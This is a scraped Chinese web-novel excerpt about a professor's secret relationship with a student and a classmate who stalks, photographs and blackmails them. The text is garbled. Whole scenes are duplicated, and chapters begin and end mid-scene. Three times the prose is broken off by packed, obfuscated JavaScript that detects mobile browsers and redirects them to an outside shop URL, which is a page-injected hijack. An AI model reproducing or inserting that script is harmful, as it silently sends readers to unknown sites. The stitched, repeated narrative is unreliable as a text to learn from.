“我……”陆知许低下头,“我只是……不想看您这样。” “这样是怎样?” “这样……算计。”陆知许说,“我不喜欢这样的您。” 谢砚沉默了。 他走到陆知许面前,抬起他的下巴,强迫他看着自己。 “知许,”他说,声音很轻,“有时候,为了保护重要的人,我们必须做一些不喜欢的事。” 陆知许的眼睛开始发热。 “可是……” “没有可是,”谢砚打断他,“林薇已经盯上我们了。如果我不主动出击,她会一直像影子一样跟在我们身后,找机会,等破绽。” 他顿了顿,指尖轻轻抚过陆知许的脸颊。 “我不允许任何人伤害你,”他说,“任何人。” 陆知许的眼泪掉了下来。 他不知道该说什么。 只能点点头,表示明白。 “好了,”谢砚松开手,恢复了平时的语气,“下午的学术沙龙,你准备好了吗?” 陆知许擦掉眼泪:“准备好了。会场已经布置好了,流程单也打印了。” “嗯,”谢砚点头,“到时候林薇也会去帮忙。你正常和她相处就好,不用刻意回避,也不用刻意亲近。” “我知道了。”陆知许说。 “去吧,”谢砚揉了揉他的头发,“下午见。” 陆知许点点头,离开了办公室。 走廊里,他迎面遇上了正要敲门的林薇。 两人都愣了一下。 “陆学弟,”林薇先开口,脸上带着温柔的笑,“刚从谢教授那儿出来?” “嗯,”陆知许点点头,“学术沙龙的事。” “我也是来找谢教授说这个的,”林薇说,侧身让开,“那你先去忙吧。” 她的姿态很大方,很自然。 但陆知许注意到,她的视线在他脖子上扫了一眼——今天他特意穿了件高领衫,什么也看不见。 “那我先走了。”陆知许说,快步离开了。 林薇看着他离开的背影,嘴角的笑容慢慢消失了。 然后她抬手,敲响了办公室的门。 --- 下午两点,文学院报告厅。 学术沙龙还没开始,但已经来了不少人。陆知许作为课代表,正在帮忙摆放资料,调试设备。 林薇也来了,她今天换了件浅蓝色的连衣裙,看起来更加温婉。她主动帮忙分发议程表,态度亲切,笑容甜美,很快就和几个参会的研究生打成了一片。 陆知许看着她忙碌的身影,心里有些复杂。 如果不知道她的心思,他可能会觉得她是个很优秀、很热心的学姐。 但现在…… “陆学弟,”林薇突然走过来,手里拿着几份资料,“这些是谢教授要用的PPT备份,你检查一下有没有问题。” 她的语气很自然,像在交代普通工作。 陆知许接过U盘:“好。” “对了,”林薇突然压低声音,“你和谢教授……是不是关系挺好的?” 陆知许的身体僵了一下。 “我是课代表,”他说,“当然要和教授保持联系。” “不只是课代表吧?”林薇笑了笑,“我经常看见你从谢教授办公室出来,耳朵红红的。” 陆知许的手指收紧。 “天气热,”他小声说,“办公室暖气开得足。” “是吗,”林薇挑眉,“可是现在才十月,还没开始供暖呢。” 陆知许答不上来了。 他只能低下头,假装在检查资料。 林薇看着他窘迫的样子,轻轻笑了。 “别紧张,”她说,声音很轻,“我就是随口问问。毕竟……谢教授那么优秀,喜欢他的人很多,你作为他身边最近的人,多注意一点也是应该的。” 这话说得很有技巧。 既像是在关心,又像是在警告。 陆知许抬起头,看向林薇。 林薇也正看着他,脸上的笑容很温和,但眼睛里的东西,却让陆知许感到一阵寒意。 “我会注意的,”他说,尽量让自己的声音听起来平静,“谢谢学姐提醒。” “不客气,”林薇说,“我们都是谢教授的学生,互相帮助是应该的。” 说完,她转身离开了。 陆知许看着她离开的背影,手心全是汗。 他知道,林薇已经开始行动了。 --- 学术沙龙进行得很顺利。 谢砚作为主讲人之一,做了关于“明清小说中的欲望叙事”的报告。他的演讲一如既往地精彩,逻辑清晰,观点新颖,赢得了在场师生的热烈掌声。 提问环节,林薇第一个举手。 “谢教授,关于您刚才提到的《金瓶梅》中‘偷情’场景的叙事功能,我有一个问题……” 她站起来,声音清亮,问题很有深度。 谢砚认真听完,然后给出了详细的解答。 两人在台上你来我往,像一场精彩的学术对话。 台下的陆知许看着这一幕,心里五味杂陈。 他知道谢砚是在演戏。 但看着他和林薇那样自然地互动,那样默契地交流,他还是觉得……不舒服。 很酸。 像吃了一颗没熟的柠檬。 沙龙结束后,谢砚被几个老师围着讨论问题。陆知许在台下收拾东西,林薇走过来帮忙。 “陆学弟,今天辛苦你了。”她说。 “应该的。”陆知许小声说。 “谢教授讲得真好,”林薇说,目光看向台上的谢砚,“每次听他的讲座,都觉得受益匪浅。” 陆知许点点头,没说话。 “对了,”林薇突然说,“下周五谢教授在图书馆有个公开讲座,你知道吗?” 陆知许愣住了。 他不知道。 谢砚没跟他说过。 “你不知道?”林薇挑眉,“谢教授没跟你说?” “我……”陆知许支支吾吾,“可能忘了……” “哦,”林薇笑了笑,“那可能是我记错了。毕竟……谢教授那么忙,有些小事忘了跟课代表说也很正常。” 她这话说得轻描淡写,但陆知许听出了里面的潜台词—— 你看,谢教授连这么重要的事都没告诉你。 你在他心里,其实没那么重要。 陆知许的手指收紧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301353|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他想反驳,想说谢砚肯定是有原因的,想说…… 但他什么也说不出来。 因为他确实不知道。 谢砚确实没告诉他。 “我还有事,”陆知许说,“先走了。” 他抱起收拾好的资料,快步离开了报告厅。 走到门口时,他回头看了一眼。 谢砚还在被围着,专注地和老师们讨论着什么。 而林薇站在不远处,正看着他离开的背影,嘴角带着一丝若有若无的笑意。 --- 晚上,谢砚的公寓。 陆知许沉默地坐在沙发上,手里拿着一杯热水,眼神空洞地看着前方。 谢砚洗完澡出来,看见他的样子,眉头微微蹙起。 “怎么了?”他问,在陆知许身边坐下。 “下周五……您在图书馆有讲座?”陆知许小声问。 谢砚愣了一下:“你怎么知道?” “林薇告诉我的。”陆知许说。 谢砚沉默了。 几秒后,他说:“我是打算告诉你的,但这几天事太多,忘了。” “真的只是忘了吗?”陆知许抬起头,看着谢砚,“还是您觉得……没必要告诉我?” 谢砚看着他的眼睛,看到了里面的不安和委屈。 “知许,”他伸手把陆知许搂进怀里,“你在想什么?” “我在想……”陆知许的声音有些哽咽,“我在您心里,到底算什么。” “你说呢?”谢砚反问。 “我不知道……”陆知许说,“今天在报告厅,我看着您和林薇那样自然地互动,看着她那么了解您的行程,看着你们……” 他说不下去了。 眼泪开始往下掉。 谢砚轻轻叹了口气。 “知许,”他说,声音很温柔,“那些都是表演,你明白吗?” “我明白,”陆知许说,“但我还是难受。” “那你要我怎么做?”谢砚问,“不再理她?不再跟她说话?这样只会让她更加怀疑。” 陆知许知道谢砚说得对。 但他还是控制不了自己的情绪。 “对不起……”他小声说,“我知道我不该这样……但我就是……” “就是吃醋了?”谢砚接上他的话。 陆知许点点头。 谢砚笑了。 他捧住陆知许的脸,认真地看着他:“那我告诉你,不管我和谁说话,不管我和谁互动,我心里想的都是你。” 陆知许的眼睛睁大了。 “林薇知道我的讲座,是因为讲座信息是公开的,所有人都能在学院网站上看到,”谢砚继续说,“她不知道的是,每次我在台上讲话的时候,我都在找你——找你在哪里,有没有认真听,有没有对我笑。” 陆知许的眼泪掉得更凶了。 “她不知道的是,我办公室抽屉里放着你的照片,我手机里存着你的语音,我每天晚上睡觉前想的都是你。” 谢砚的拇指轻轻擦过陆知许脸上的泪痕。 “她什么都不知道,”他说,“她看到的,只是我想让她看到的。而你看到的,才是真实的我。” 陆知许说不出话了。 他只能抱住谢砚,把脸埋在他怀里,任由眼泪浸湿谢砚的衬衫。 谢砚轻轻拍着他的背,像在安抚受惊的小动物。 “相信我,”他在陆知许耳边轻声说,“不管发生什么,相信我。” 陆知许用力点头。 “我信,”他说,声音还带着哭腔,“我一直都信。” 窗外的夜色很深。 但房间里很温暖。 两个紧紧相拥的人,像两株互相缠绕的藤蔓,谁也离不开谁。 而窗外,城市的另一端。 林薇坐在电脑前,看着屏幕上今天偷拍的照片——报告厅里,谢砚在台上演讲,陆知许在台下看着他,眼神专注而炽热。 她盯着那张照片看了很久。 然后她打开一个新的文档,开始打字。 标题是:《关于陆知许同学可能存在不当行为的观察记录》。 她写得很快,很详细。 从陆知许频繁出入谢砚办公室,到脖子上可疑的痕迹,到今天在报告厅里那种过分专注的眼神…… 每一条,都指向同一个结论。 林薇写完,保存,加密。 然后她打开邮箱,新建一封邮件。 收件人栏空着。 她在犹豫,该把这封邮件发给谁。 教学办公室?院长?还是…… 她的手指在触摸板上轻轻滑动。 最后,她关掉了邮箱。 还不到时候。 她还需要更多的证据。 更确凿的证据。 足以一击致命的证据。 林薇靠在椅背上,闭上眼睛,嘴角勾起一个冰冷的笑容。 游戏还在继续。 而她,有的是耐心。 20. 第二十章 周五的图书馆讲座,陆知许还是去了。 他坐在最后一排的角落,戴着帽子,几乎要把自己埋进阴影里。讲台上,谢砚正在做关于“明清小说中的禁忌书写”的演讲,声音透过麦克风传遍整个报告厅,沉稳、清晰、充满力量。 陆知许看着他,心里酸涩又骄傲。 酸涩的是,台下的听众中有三分之一是女生,她们看谢砚的眼神都带着或多或少的倾慕。骄傲的是,这样一个光芒万丈的人,是他的。 演讲进行到一半时,陆知许注意到前排有个女生一直在用手机录像。不是普通的录,而是镜头始终追着谢砚,偶尔还会拉近,像是要拍特写。 那个女生他认识——林薇的朋友,也是中文系的。 陆知许的指尖收紧。 他知道这意味着什么。 林薇在收集“证据”。 用各种方式,从各种角度。 讲座结束后,人群开始散去。谢砚被几个学生围着提问,陆知许犹豫了一下,没有上前,而是从侧门悄悄离开了。 他走到图书馆后面的小花园,在长椅上坐下。 秋日的阳光很温暖,但他却觉得有些冷。 手机震动了一下,是谢砚的消息: “在哪里?” 陆知许打字: “图书馆后面。” 发送。 几分钟后,谢砚走了过来。他今天穿着深灰色的西装,打着领带,看起来比平时更加正式,也更加……遥不可及。 “怎么一个人在这里?”谢砚在他身边坐下。 “想透透气。”陆知许小声说。 谢砚看着他,深褐色的眼睛里带着了然。 “看到林薇的朋友了?”他问。 陆知许点头:“她在录像。” “我知道,”谢砚说,“不止她一个。今天台下至少有四个人在录。” 陆知许愣住了:“四个?” “嗯,”谢砚点头,“都是林薇的朋友,或者她找来的人。” “她想干什么?”陆知许的声音里带着一丝颤抖。 “她在收集素材,”谢砚说,“演讲录像,照片,我和其他学生的互动……她在建一个档案,一个关于我的档案。” 陆知许的心脏狠狠跳了一下。 “那您……” “我让她录,”谢砚说,“录得越多越好。” 陆知许不明白。 谢砚转过头,看着他:“你知道钓鱼执法吗?” 陆知许点头。 “林薇现在做的,就是类似的事,”谢砚说,“她在设一个陷阱,等我掉进去。但陷阱设得越大,破绽就越多。” 他顿了顿,声音很平静: “我要让她把陷阱设到极致,设到她以为万无一失。然后,在她最得意的时候,让她掉进自己的陷阱里。” 陆知许看着谢砚冷静的侧脸,心里涌起一股复杂的情绪。 他认识的谢砚,应该是温和的,是会在厨房里给他做饭的,是会在夜里抱着他睡觉的。 而不是现在这个……冷静到近乎冷酷的谢砚。 “您变了。”陆知许小声说。 谢砚转过头,看着他:“变坏了?” 陆知许摇头:“不是坏……是……太冷静了。冷静得让我有点害怕。” 谢砚沉默了几秒。 然后他伸出手,握住陆知许的手。 “知许,”他说,声音很轻,“你知道我最怕什么吗?” 陆知许摇头。 “我最怕失去你,”谢砚说,握着他的手微微用力,“为了不失去你,我可以做任何事。包括变成你现在看到的这个样子。” 陆知许的眼睛开始发热。 “可是……”他小声说,“我不希望您因为我,变成自己不喜欢的样子。” 谢砚笑了。 那笑容很温柔,和平时一样。 “傻瓜,”他说,“这就是真实的我。只是以前没机会,也没必要展现出来而已。” 陆知许看着他温柔的笑容,心里的不安慢慢平息下来。 是啊,谢砚还是谢砚。 只是他以前只看到了他温和的一面,没看到他在面对威胁时的果断和决绝。 “那我们现在……该怎么办?”陆知许问。 “等。”谢砚说。 “等什么?” “等林薇下一步动作,”谢砚说,“她收集了这么多‘证据’,总要用起来。我们等她用。” 陆知许点点头。 然后他突然想起什么:“对了,她今天没来讲座?” “来了,”谢砚说,“坐在第二排,你没看见?” 陆知许摇头。 他今天刻意回避了林薇可能出现的地方。 “她全程都在看我,”谢砚说,“那种眼神……很像你以前看我的眼神。” 陆知许的脸红了:“我哪有……” “有,”谢砚说,嘴角带着笑意,“以前你在教室里偷偷看我的时候,就是那种眼神。专注,炽热,恨不得把我装进眼睛里带走。” 陆知许的脸更红了。 他想否认,但知道否认没用。 谢砚什么都知道。 “不过,”谢砚突然话锋一转,“她的眼神和你的不一样。你的眼神是干净的,纯粹的。她的眼神里……有太多算计。” 陆知许的心脏漏跳了一拍。 “所以您早就知道她……” “早就知道,”谢砚点头,“从她第一次来办公室,问我‘教授您喜欢什么样的女生’开始,我就知道。” 陆知许愣住了。 “她问过您这个?” “问过,”谢砚说,“不止一次。每次我都说,工作期间不谈私事。但她还是会拐弯抹角地问。” 谢砚的语气很平淡,但陆知许听出了里面的厌烦。 “那您为什么……” “为什么不直接拒绝她?”谢砚接过话,“因为直接拒绝只会让她更执着。有些人就是这样,你越拒绝,她越觉得你是在考验她,越不会放弃。” 陆知许明白了。 谢砚不是在纵容林薇。 他是在用一种更聪明的方式,让她自己暴露,自己放弃。 “您真厉害。”陆知许小声说。 谢砚笑了:“厉害什么?” “什么都厉害,”陆知许说,“讲课厉害,写论文厉害,处理这种事也厉害。” “那你喜欢吗?”谢砚问。 “喜欢,”陆知许说,很认真,“什么样的您,我都喜欢。” 谢砚看着他认真的样子,心里涌起一股暖流。 他凑过去,在陆知许额头上轻轻印下一个吻。 “谢谢你,”他说,“谢谢你喜欢这样的我。” 陆知许的脸又红了。 但他没有躲开。 反而靠在了谢砚肩上。 两人在长椅上坐了一会儿,直到谢砚的手机响了。 是学院打来的电话,有个紧急会议。 “我得走了,”谢砚说,“晚上来我家吃饭?” 陆知许点头:“好。” “乖。”谢砚揉了揉他的头发,起身离开了。 陆知许看着他离开的背影,心里暖暖的。 但这份温暖,很快就被打破了。 --- 谢砚离开后不到五分钟,林薇出现在了小花园。 她今天穿了一件浅米色的风衣,长发披肩,看起来温婉动人。但陆知许知道,那温婉的外表下,藏着怎样的心思。 “陆学弟,”林薇走过来,在他对面的长椅上坐下,“一个人?” 陆知许点点头。 “谢教授呢?”林薇问,“刚才看见他在这里。” “他有事先走了。”陆知许说。 “哦,”林薇笑了笑,“我还以为你们在聊什么重要的事呢,聊了这么久。” 她的语气很自然,像是在闲聊。 但陆知许听出了里面的试探。 “就是随便聊聊讲座的事。”陆知许说。 “是吗,”林薇挑眉,“可我刚才看到……谢教授好像亲了你?” 陆知许的身体僵住了。 血液好像一下子冲上了头顶,然后又迅速退去,留下冰凉的麻木感。 “你……你看错了。”他的声音在颤抖。 “看错了?”林薇笑了,“我视力很好,陆学弟。而且……我还有照片。” 她拿出手机,划了几下,然后把屏幕转向陆知许。 屏幕上,是一张照片——谢砚低头吻他额头的瞬间。 拍得很清楚,能清楚地看见谢砚温柔的表情,和他闭着眼睛顺从的样子。 陆知许的大脑一片空白。 “你想怎么样?”他的声音很轻,几乎听不见。 “我不想怎么样,”林薇收回手机,“我只是想告诉你,我知道。” 她顿了顿,看着陆知许苍白的脸,继续说: “我知道你和谢教授的关系。我知道你们在办公室做什么,知道你们私下见面,知道你们……” “别说了。”陆知许打断她。 林薇停下来,看着他。 “你想怎么样?”陆知许重复了一遍,声音比刚才大了一些,“举报我们?告诉学院?还是……” “我说了,我不想怎么样,”林薇说,声音很平静,“我只是想和你谈谈。” “谈什么?” “谈条件。”林薇说。 陆知许愣住了。 “条件?” “对,”林薇点头,“我知道你喜欢谢教授,谢教授也喜欢你。但你们的关系……太危险了。一旦曝光,谢教授的前途就毁了。” 她顿了顿,看着陆知许越来越苍白的脸,继续说: “我可以帮你们保密。甚至可以在必要的时候,帮你们打掩护。” 陆知许的心脏狠狠跳了一下。 “条件是什么?”他问。 林薇笑了。 那笑容很温柔,但陆知许觉得,比任何表情都要可怕。 “条件很简单,”她说,“我要你离开谢教授。” 空气凝固了。 陆知许呆呆地看着林薇,以为自己听错了。 “什么?” “我要你离开谢教授,”林薇重复了一遍,声音很清晰,“主动疏远他,减少和他的接触,慢慢淡出他的生活。” 陆知许的手指收紧,指甲几乎要嵌进掌心。 “为什么?”他问,声音很轻。 “因为我喜欢他,”林薇说,很直接,“我想要他。而你的存在,是我最大的障碍。” 很坦白的理由。 坦自到残忍。 陆知许看着她,看着她眼里那种志在必得的光芒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301354|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,突然觉得很好笑。 “你觉得,”他开口,声音比想象中平静,“我会答应吗?” 林薇挑眉:“你会。因为你爱他。” “正因为我爱他,”陆知许说,“我才不会离开他。” 林薇脸上的笑容消失了。 “你不怕我举报你们?”她的声音冷了下来。 “怕,”陆知许说,“但我更怕失去他。” 林薇盯着他看了很久。 然后她笑了。 笑得很冷,很讽刺。 “陆知许,你太天真了,”她说,“你以为爱情能战胜一切?你以为只要你们相爱,就什么都不怕?” 她站起身,居高临下地看着陆知许。 “我告诉你,现实不是童话。师生恋,在任何学校都是大忌。一旦曝光,谢教授会被停职,会被调查,甚至会被开除。而你,会被记过,会被处分,会成为全校的笑话。” 她的声音很平静,但每个字都像刀子,扎在陆知许心上。 “你真的忍心看他身败名裂吗?”林薇问,“忍心看他多年努力毁于一旦?忍心看他在学术界抬不起头?” 陆知许答不上来了。 他只能低着头,眼泪开始往下掉。 “我给你三天时间考虑,”林薇说,声音恢复了之前的温和,“三天后,如果你还没做出决定,我就把这些照片交给学院。” 她顿了顿,补充道: “别想告诉谢教授。如果他知道我找过你,我会立刻把照片发出去。” 说完,她转身离开了。 留下陆知许一个人坐在长椅上,眼泪不停地往下掉。 --- 晚上,谢砚的公寓。 陆知许坐在餐桌前,看着谢砚忙碌的背影,心里一片混乱。 谢砚做了他最喜欢的番茄炒蛋和清炒西兰花,还炖了排骨汤。饭菜的香气弥漫在整个房间里,很温暖,很家常。 但陆知许却觉得,这可能是他们最后一顿这样温馨的晚餐了。 “吃饭了。”谢砚把最后一道菜端上桌,在他对面坐下。 陆知许拿起筷子,夹了一块番茄炒蛋,送进嘴里。 味道很好。 但他却尝不出味道。 “怎么了?”谢砚问,“今天一直心不在焉的。” 陆知许摇摇头:“没什么……就是有点累。” 谢砚看着他,眉头微微蹙起。 “林薇找你了?”他突然问。 陆知许的身体僵了一下。 “没、没有……” “说实话。”谢砚的声音沉了下来。 陆知许低下头,不说话。 但他的沉默就是最好的答案。 谢砚放下筷子,走到他身边,蹲下身,握住他的手。 “她说什么了?”谢砚问,声音很轻。 陆知许的眼泪又开始往下掉。 他把下午林薇的话大致说了一遍。 谢砚听完,沉默了。 几秒后,他说:“照片呢?她给你看了吗?” 陆知许点头。 “什么样的照片?” “就是……您亲我额头的照片……”陆知许小声说。 谢砚的眉头蹙得更紧了。 “她拍到那个角度……说明她一直在跟踪我们。” 陆知许点点头。 “她还说……”他犹豫了一下,“她说如果我把这件事告诉您,她就立刻把照片发出去。” 谢砚冷笑了一声。 “她在虚张声势。” 陆知许抬起头,泪眼朦胧地看着他。 “如果她真想举报,早就举报了,”谢砚说,“不会等到现在,更不会跟你谈条件。” 陆知许眨了眨眼:“您的意思是……” “她的目的不是举报,”谢砚说,“她的目的是逼你离开我。所以她在吓唬你,让你害怕,让你自己退缩。” 陆知许的心稍微安定了一些。 但他还是害怕。 “可是……万一她真的……” “没有万一,”谢砚打断他,握紧他的手,“我不会让她有机会伤害你,也不会让她有机会破坏我们。” 他的声音很坚定,带着不容置疑的力量。 陆知许看着他坚定的眼神,心里的不安慢慢平息下来。 “那我们……现在该怎么办?”他小声问。 “吃饭,”谢砚说,站起身回到座位上,“然后好好睡觉。明天开始,一切照常。” “照常?”陆知许不明白。 “对,”谢砚点头,“你去上课,我去讲课。林薇找你,你就正常应对。她要照片,就让她要。她要谈条件,就让她谈。” 陆知许还是不明白。 但谢砚没有再解释。 他只是给陆知许夹了块排骨,说:“相信我。” 陆知许看着他,看了很久。 然后他点点头:“我相信您。” 不管发生什么,他都相信谢砚。 因为他知道,谢砚会保护他。 会保护他们的爱情。 窗外的夜色很深。 但房间里很温暖。 两个人安静地吃着饭,像什么事都没发生过。 但陆知许知道,暴风雨就要来了。 而他要做的,就是相信谢砚。 相信他们的爱情。 21. 第二十一章 周一早晨的课堂,气氛比往常更加微妙。 谢砚走进307教室时,敏锐地察觉到几道不同寻常的视线。不止是陆知许那双总是追随他的眼睛,还有后排几个女生窃窃私语的眼神,以及…… 林薇。 她今天坐在第一排正中央,穿着浅粉色的毛衣,长发柔顺地披在肩上,看起来温婉可人。但谢砚注意到,她的目光在他脖子上停留的时间比平时长了两秒。 谢砚面色如常地走上讲台,放下教案,翻开点名册。 “上课前先点名。” 他的声音平静无波,和往常没有任何区别。 但点名到“陆知许”时,他清晰地看见林薇的嘴角几不可察地动了一下。 “到。”陆知许小声应道,耳尖微微泛红。 谢砚没看他,继续点名。 整堂课,他讲得格外认真,板书格外清晰,提问格外频繁——尤其是向林薇提问。 “林薇同学,《牡丹亭》中‘情不知所起,一往而深’该如何理解?” 林薇站起来,声音清亮:“这句话讲的是爱情的不可控性和深度。杜丽娘对梦中情人的情感超越了理性,超越生死,体现了明代文人对于‘至情’的理想化追求。” “很好,”谢砚点头,“请坐。” 他注意到,林薇坐下时,脸上带着一丝若有若无的笑意。 那笑意里,有得意,有自信,还有某种……试探。 谢砚移开视线,继续讲课。 但心里已经明白了——林薇在试探他。 通过这种公开的、无可挑剔的师生互动,她在试探他的反应,也在向所有人展示:她和谢教授的关系,非同一般。 --- 下课时,谢砚像往常一样收拾教案。 “课代表,”他说,声音不大,但足以让前排的学生听见,“来我办公室一趟。” 陆知许点点头:“好的教授。” 他收拾东西时,感觉到一道视线落在他身上。 不用抬头,他也知道是林薇。 但他没有理会,抱起课本快步走出了教室。 --- 办公室里,谢砚关上门,转身看向陆知许。 “感觉到了吗?”他问。 陆知许点头:“她今天……很不一样。” “她在宣示主权,”谢砚说,语气很平静,“用一种很聪明的方式。” “宣示主权?”陆知许皱眉,“什么意思?” “意思就是,她在告诉所有人——包括你,也包括我——她有权利接近我,有权利和我互动,有权利……站在我身边。” 陆知许的心脏狠狠跳了一下。 “那您……” “我在配合她。”谢砚说。 陆知许愣住了。 “配合她?”他的声音里带着一丝不敢置信。 “对,”谢砚点头,“她想要什么,我就给她什么。她要公开的师生互动,我就给她。她要展示和我的‘特殊关系’,我就让她展示。” 陆知许不明白:“为什么?” “因为只有这样,她才会放松警惕,”谢砚走到窗前,看着楼下的校园,“只有让她觉得她已经‘赢’了,她才会露出破绽。” 陆知许看着他挺拔的背影,心里涌起一股复杂的感觉。 他认识的谢砚,总是温和的,耐心的,偶尔会有些恶趣味,但从来不会这样……算计。 “您打算怎么做?”他小声问。 谢砚转过身,看着他:“你在担心?” “我……”陆知许低下头,“我只是……不想看您这样。” “这样是怎样?” “这样……算计。”陆知许说,“我不喜欢这样的您。” 谢砚沉默了。 他走到陆知许面前,抬起他的下巴,强迫他看着自己。 “知许,”他说,声音很轻,“有时候,为了保护重要的人,我们必须做一些不喜欢的事。” 陆知许的眼睛开始发热。 “可是……” “没有可是,”谢砚打断他,“林薇已经盯上我们了。如果我不主动出击,她会一直像影子一样跟在我们身后,找机会,等破绽。” 他顿了顿,指尖轻轻抚过陆知许的脸颊。 “我不允许任何人伤害你,”他说,“任何人。” 陆知许的眼泪掉了下来。 他不知道该说什么。 只能点点头,表示明白。 “好了,”谢砚松开手,恢复了平时的语气,“下午的学术沙龙,你准备好了吗?” 陆知许擦掉眼泪:“准备好了。会场已经布置好了,流程单也打印了。” “嗯,”谢砚点头,“到时候林薇也会去帮忙。你正常和她相处就好,不用刻意回避,也不用刻意亲近。” “我知道了。”陆知许说。 “去吧,”谢砚揉了揉他的头发,“下午见。” 陆知许点点头,离开了办公室。 走廊里,他迎面遇上了正要敲门的林薇。 两人都愣了一下。 “陆学弟,”林薇先开口,脸上带着温柔的笑,“刚从谢教授那儿出来?” “嗯,”陆知许点点头,“学术沙龙的事。” “我也是来找谢教授说这个的,”林薇说,侧身让开,“那你先去忙吧。” 她的姿态很大方,很自然。 但陆知许注意到,她的视线在他脖子上扫了一眼——今天他特意穿了件高领衫,什么也看不见。 “那我先走了。”陆知许说,快步离开了。 林薇看着他离开的背影,嘴角的笑容慢慢消失了。 然后她抬手,敲响了办公室的门。 --- 下午两点,文学院报告厅。 学术沙龙还没开始,但已经来了不少人。陆知许作为课代表,正在帮忙摆放资料,调试设备。 林薇也来了,她今天换了件浅蓝色的连衣裙,看起来更加温婉。她主动帮忙分发议程表,态度亲切,笑容甜美,很快就和几个参会的研究生打成了一片。 陆知许看着她忙碌的身影,心里有些复杂。 如果不知道她的心思,他可能会觉得她是个很优秀、很热心的学姐。 但现在…… “陆学弟,”林薇突然走过来,手里拿着几份资料,“这些是谢教授要用的PPT备份,你检查一下有没有问题。” 她的语气很自然,像在交代普通工作。 陆知许接过U盘:“好。” “对了,”林薇突然压低声音,“你和谢教授……是不是关系挺好的?” 陆知许的身体僵了一下。 “我是课代表,”他说,“当然要和教授保持联系。” “不只是课代表吧?”林薇笑了笑,“我经常看见你从谢教授办公室出来,耳朵红红的。” 陆知许的手指收紧。 “天气热,”他小声说,“办公室暖气开得足。” “是吗,”林薇挑眉,“可是现在才十月,还没开始供暖呢。” 陆知许答不上来了。 他只能低下头,假装在检查资料。 林薇看着他窘迫的样子,轻轻笑了。 “别紧张,”她说,声音很轻,“我就是随口问问。毕竟……谢教授那么优秀,喜欢他的人很多,你作为他身边最近的人,多注意一点也是应该的。” 这话说得很有技巧。 既像是在关心,又像是在警告。 陆知许抬起头,看向林薇。 林薇也正看着他,脸上的笑容很温和,但眼睛里的东西,却让陆知许感到一阵寒意。 “我会注意的,”他说,尽量让自己的声音听起来平静,“谢谢学姐提醒。” “不客气,”林薇说,“我们都是谢教授的学生,互相帮助是应该的。” 说完,她转身离开了。 陆知许看着她离开的背影,手心全是汗。 他知道,林薇已经开始行动了。 --- 学术沙龙进行得很顺利。 谢砚作为主讲人之一,做了关于“明清小说中的欲望叙事”的报告。他的演讲一如既往地精彩,逻辑清晰,观点新颖,赢得了在场师生的热烈掌声。 提问环节,林薇第一个举手。 “谢教授,关于您刚才提到的《金瓶梅》中‘偷情’场景的叙事功能,我有一个问题……” 她站起来,声音清亮,问题很有深度。 谢砚认真听完,然后给出了详细的解答。 两人在台上你来我往,像一场精彩的学术对话。 台下的陆知许看着这一幕,心里五味杂陈。 他知道谢砚是在演戏。 但看着他和林薇那样自然地互动,那样默契地交流,他还是觉得……不舒服。 很酸。 像吃了一颗没熟的柠檬。 沙龙结束后,谢砚被几个老师围着讨论问题。陆知许在台下收拾东西,林薇走过来帮忙。 “陆学弟,今天辛苦你了。”她说。 “应该的。”陆知许小声说。 “谢教授讲得真好,”林薇说,目光看向台上的谢砚,“每次听他的讲座,都觉得受益匪浅。” 陆知许点点头,没说话。 “对了,”林薇突然说,“下周五谢教授在图书馆有个公开讲座,你知道吗?” 陆知许愣住了。 他不知道。 谢砚没跟他说过。 “你不知道?”林薇挑眉,“谢教授没跟你说?” “我……”陆知许支支吾吾,“可能忘了……” “哦,”林薇笑了笑,“那可能是我记错了。毕竟……谢教授那么忙,有些小事忘了跟课代表说也很正常。” 她这话说得轻描淡写,但陆知许听出了里面的潜台词—— 你看,谢教授连这么重要的事都没告诉你。 你在他心里,其实没那么重要。 陆知许的手指收紧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301355|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他想反驳,想说谢砚肯定是有原因的,想说…… 但他什么也说不出来。 因为他确实不知道。 谢砚确实没告诉他。 “我还有事,”陆知许说,“先走了。” 他抱起收拾好的资料,快步离开了报告厅。 走到门口时,他回头看了一眼。 谢砚还在被围着,专注地和老师们讨论着什么。 而林薇站在不远处,正看着他离开的背影,嘴角带着一丝若有若无的笑意。 --- 晚上,谢砚的公寓。 陆知许沉默地坐在沙发上,手里拿着一杯热水,眼神空洞地看着前方。 谢砚洗完澡出来,看见他的样子,眉头微微蹙起。 “怎么了?”他问,在陆知许身边坐下。 “下周五……您在图书馆有讲座?”陆知许小声问。 谢砚愣了一下:“你怎么知道?” “林薇告诉我的。”陆知许说。 谢砚沉默了。 几秒后,他说:“我是打算告诉你的,但这几天事太多,忘了。” “真的只是忘了吗?”陆知许抬起头,看着谢砚,“还是您觉得……没必要告诉我?” 谢砚看着他的眼睛,看到了里面的不安和委屈。 